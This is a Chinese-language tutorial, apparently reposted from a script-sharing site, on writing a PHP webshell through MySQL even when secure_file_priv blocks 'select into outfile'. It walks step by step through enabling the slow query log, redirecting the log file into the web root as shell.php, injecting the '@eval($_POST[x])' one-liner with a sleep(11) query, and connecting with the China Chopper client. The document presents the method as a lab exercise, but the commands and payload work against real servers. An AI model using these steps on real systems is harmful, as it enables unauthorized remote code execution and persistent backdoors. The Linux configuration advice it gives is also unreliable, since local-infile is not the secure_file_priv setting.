MYSQL突破secure_file_priv寫shell問題
目標(biāo)IP地址:192.168.106.130
本地IP地址:192.168.106.1
訪問目標(biāo)網(wǎng)絡(luò)如下圖所示:
實驗場景
某些情況下,當(dāng)我們進(jìn)入網(wǎng)站phpmyadmin或者網(wǎng)站后臺執(zhí)行SQL命令,計劃通過select into outfile寫一句話木馬(shell),但是通常都會報錯
如下圖所示:
原因
在mysql 中 secure_file_priv的值默認(rèn)為NULL。
并且無法用sql語句對其進(jìn)行修改,只能夠通過以下方式修改
windows:
修改mysql.ini 文件,在[mysqld] 下添加條目: secure_file_priv =
保存,重啟mysql。
Linux:
在/etc/my.cnf的[mysqld]下面添加local-infile=0選項。
secure_file_priv作用:
- secure_file_priv為null 表示不允許導(dǎo)入導(dǎo)出
- secure_file_priv指定文件夾時,表示mysql的導(dǎo)入導(dǎo)出只能發(fā)生在指定的文件夾
- secure_file_priv沒有設(shè)置時,則表示沒有任何限制
但是如果這樣的話我們就不能夠?qū)憇hell了嗎?答案是否定的。
突破限制利用方法:日志的利用
利用方法:
攻擊時進(jìn)行一次附帶代碼的url請求,在日志記錄這次請求之后,通過文件包含漏洞來包含這個日志文件,從而執(zhí)行請求中的代碼。
mysql也具有日志,我們也可以通過日志來getshell。
mysql日志主要包含:錯誤日志、查詢?nèi)罩?、慢查詢?nèi)罩?、事?wù)日志,日志的詳細(xì)情況參考mysql日志詳細(xì)解析
本次實驗主要利用慢查詢?nèi)罩緦憇hell
第一步:
1.設(shè)置slow_query_log=1.即啟用慢查詢?nèi)罩?默認(rèn)禁用)。
分析:
slow_query_log=ON 已開啟
第二步:
修改slow_query_log_file日志文件的絕對路徑以及文件名
作為攻擊者不知道安裝路徑,可以輸入:show variables like “%char%”,執(zhí)行效果如下圖所示,得到安裝路徑
修改slow_query_log_file日志文件的絕對路徑以及文件名為C:\phpstudy\PHPTutorial\WWW\shell.php
set global slow_query_log_file=‘C:\phpstudy\PHPTutorial\WWW\shell.php’
目標(biāo)靶機(jī)驗證是否成功修改:
第三步:
向日志文件寫入shell,select ‘<?php @eval($_POST[x]);?>’ or sleep(11)
因為sleep(11),SQL語句正確的話,會延遲11秒后返回執(zhí)行結(jié)果,耐心等待即可
第四步:
訪問shell.php日志文件
第五步:
中國菜刀連接
連接成功
總結(jié)
以上為個人經(jīng)驗,希望能給大家一個參考,也希望大家多多支持腳本之家。
相關(guān)文章
MySQL的事務(wù)的基本要素和事務(wù)隔離級別詳解
這篇文章主要介紹了MySQL的事務(wù)的基本要素和事務(wù)隔離級別,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教2024-04-04Mysql 切換數(shù)據(jù)存儲目錄的實現(xiàn)方法
這篇文章主要介紹了Mysql 切換數(shù)據(jù)存儲目錄的實現(xiàn)方法的相關(guān)資料,需要的朋友可以參考下2017-07-07